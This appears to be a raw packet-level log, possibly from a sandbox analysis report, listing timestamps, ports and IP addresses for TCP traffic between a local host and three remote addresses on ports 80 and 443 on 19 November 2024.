Nov 19, 2024 01:01:24.583830118 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583832026 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583844900 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583859921 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583864927 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583877087 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583889961 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583904982 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583916903 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583931923 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583933115 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583946943 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583961964 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583975077 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583986998 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583986998 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584000111 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584016085 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584029913 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584033012 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584045887 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584057093 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584068060 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584074974 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584081888 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584085941 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584089041 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584098101 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584100962 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584106922 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584110022 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584121943 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584147930 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584156990 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584167957 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584182024 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584196091 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584209919 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584212065 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584227085 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584240913 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584259987 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584261894 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584275007 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584289074 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584312916 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584333897 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584337950 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584353924 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584357977 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584392071 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584424019 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584438086 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584450960 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584466934 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584481955 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584481955 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584501028 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584510088 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584516048 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584539890 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584553957 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584569931 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584588051 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584593058 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584610939 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584610939 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584644079 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584656000 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584671021 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584686041 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584702015 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584707022 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584717989 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584733009 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584741116 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584750891 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584767103 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584770918 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584786892 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584798098 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584811926 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584820986 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584840059 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584855080 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584856033 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584871054 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584887028 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584892988 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584902048 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584913969 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584918976 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584934950 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584947109 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584950924 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.584974051 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584990025 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.584990025 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585016966 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585031986 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585038900 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585046053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585048914 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585062981 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585078001 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585078955 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585100889 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585108042 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585110903 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585114002 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585119009 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585125923 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585134029 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585134983 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585136890 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585184097 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585185051 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585201025 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585216045 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585216999 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585232973 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585254908 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585254908 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585270882 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585285902 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585294962 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585299969 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585319042 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585325956 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585340023 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585355043 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585356951 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585380077 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585395098 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585397005 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585411072 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585422993 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585434914 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585449934 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585462093 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585465908 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585481882 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585495949 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585496902 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585510969 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585522890 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585527897 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585539103 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585545063 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585560083 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585576057 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585586071 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585593939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585609913 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585619926 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585639000 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585640907 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585642099 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585650921 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585665941 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585675955 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585681915 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585702896 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585725069 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585740089 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585750103 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585764885 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585769892 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585779905 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585803032 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585805893 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585819006 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.585840940 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.585867882 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.593911886 CET	49757	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.593926907 CET	443	49757	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.593954086 CET	49757	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.593959093 CET	443	49757	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.598774910 CET	49756	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.598797083 CET	443	49756	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.629703045 CET	49761	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.629725933 CET	443	49761	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.629811049 CET	49761	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.631692886 CET	49761	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.631705999 CET	443	49761	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.030617952 CET	443	49758	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.032135963 CET	49758	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.032150984 CET	443	49758	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.032666922 CET	49758	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.032671928 CET	443	49758	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.041383028 CET	443	49759	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.044457912 CET	49759	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.044475079 CET	443	49759	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.045056105 CET	49759	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.045059919 CET	443	49759	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.068717003 CET	443	49760	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.073020935 CET	49760	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.073050976 CET	443	49760	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.073664904 CET	49760	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.073677063 CET	443	49760	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.169173002 CET	443	49758	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.169284105 CET	443	49758	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.169414997 CET	49758	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.169799089 CET	49758	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.169799089 CET	49758	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.169817924 CET	443	49758	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.169828892 CET	443	49758	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.170316935 CET	443	49753	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.181019068 CET	443	49759	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.181457043 CET	443	49759	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.181549072 CET	49759	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.185206890 CET	49753	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.185220003 CET	443	49753	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.185847044 CET	49753	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.185849905 CET	443	49753	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.211374044 CET	443	49760	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.211544991 CET	443	49760	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.211637020 CET	49760	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.227430105 CET	49759	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.227447033 CET	443	49759	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.227458954 CET	49759	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.227463961 CET	443	49759	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.313005924 CET	49760	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.313052893 CET	443	49760	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.313081026 CET	49760	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.313095093 CET	443	49760	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.359952927 CET	443	49753	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.360101938 CET	443	49753	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.360204935 CET	49753	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.408857107 CET	443	49761	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.417654037 CET	49753	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.417676926 CET	443	49753	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.417690992 CET	49753	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.417696953 CET	443	49753	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.451581001 CET	49762	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.451662064 CET	443	49762	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.451747894 CET	49762	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.452440977 CET	49761	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.452450037 CET	443	49761	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.453038931 CET	49761	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.453042030 CET	443	49761	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.494256973 CET	49763	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.494282007 CET	443	49763	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.494615078 CET	49762	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.494648933 CET	443	49762	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.494653940 CET	49763	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.563271046 CET	49764	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.563293934 CET	443	49764	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.563608885 CET	49763	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.563628912 CET	443	49763	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.563652039 CET	49764	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.575448036 CET	49765	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.575484037 CET	443	49765	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.575599909 CET	49765	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.575911045 CET	49765	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.575928926 CET	443	49765	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.590334892 CET	443	49761	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.590502977 CET	443	49761	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.590704918 CET	49761	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.590890884 CET	49761	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.590909004 CET	443	49761	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.590920925 CET	49761	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.590925932 CET	443	49761	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.594115019 CET	49764	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.594130993 CET	443	49764	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.840225935 CET	49766	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.840246916 CET	443	49766	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:25.840310097 CET	49766	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.911050081 CET	49766	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:25.911068916 CET	443	49766	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.225131989 CET	49770	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:26.225168943 CET	443	49770	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:26.225255966 CET	49770	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:26.225537062 CET	49770	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:26.225552082 CET	443	49770	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:26.260773897 CET	443	49762	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.308410883 CET	49762	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.318428993 CET	49762	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.318456888 CET	443	49762	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.319106102 CET	49762	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.319123030 CET	443	49762	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.322684050 CET	443	49763	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.332514048 CET	443	49765	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.365617990 CET	49763	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.371968031 CET	443	49764	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.373416901 CET	49763	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.373429060 CET	443	49763	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.374767065 CET	49763	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.374773026 CET	443	49763	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.380440950 CET	49765	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.395643950 CET	49771	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:26.395684004 CET	443	49771	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:26.395768881 CET	49771	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:26.399231911 CET	49771	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:26.399246931 CET	443	49771	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:26.403326988 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:26.403366089 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:26.403458118 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:26.404791117 CET	49772	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:26.404809952 CET	443	49772	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:26.413990021 CET	49764	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.429023981 CET	49765	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.429039001 CET	443	49765	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.429764032 CET	49765	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.429769993 CET	443	49765	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.437232971 CET	49764	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.437238932 CET	443	49764	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.437939882 CET	49764	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.437942982 CET	443	49764	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.501722097 CET	49773	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:26.501739025 CET	443	49773	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:26.501800060 CET	49773	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:26.502096891 CET	49773	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:26.502109051 CET	443	49773	142.250.74.196	192.168.2.6
Nov 19, 2024 01:01:26.509715080 CET	443	49763	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.509872913 CET	443	49763	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.509922981 CET	49763	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.543183088 CET	49763	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.543195009 CET	443	49763	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.543205023 CET	49763	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.543209076 CET	443	49763	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.551645041 CET	49774	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.551696062 CET	443	49774	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.551769018 CET	49774	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.552733898 CET	49774	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.552763939 CET	443	49774	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.567311049 CET	443	49765	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.567486048 CET	443	49765	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.567543983 CET	49765	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.568547964 CET	49765	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.568569899 CET	443	49765	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.568583965 CET	49765	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.568592072 CET	443	49765	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.568784952 CET	443	49762	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.569031954 CET	443	49762	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.569116116 CET	49762	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.569199085 CET	49762	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.569199085 CET	49762	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:26.569238901 CET	443	49762	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:26.569266081 CET	443	49762	13.107.246.45	192.168.2.6
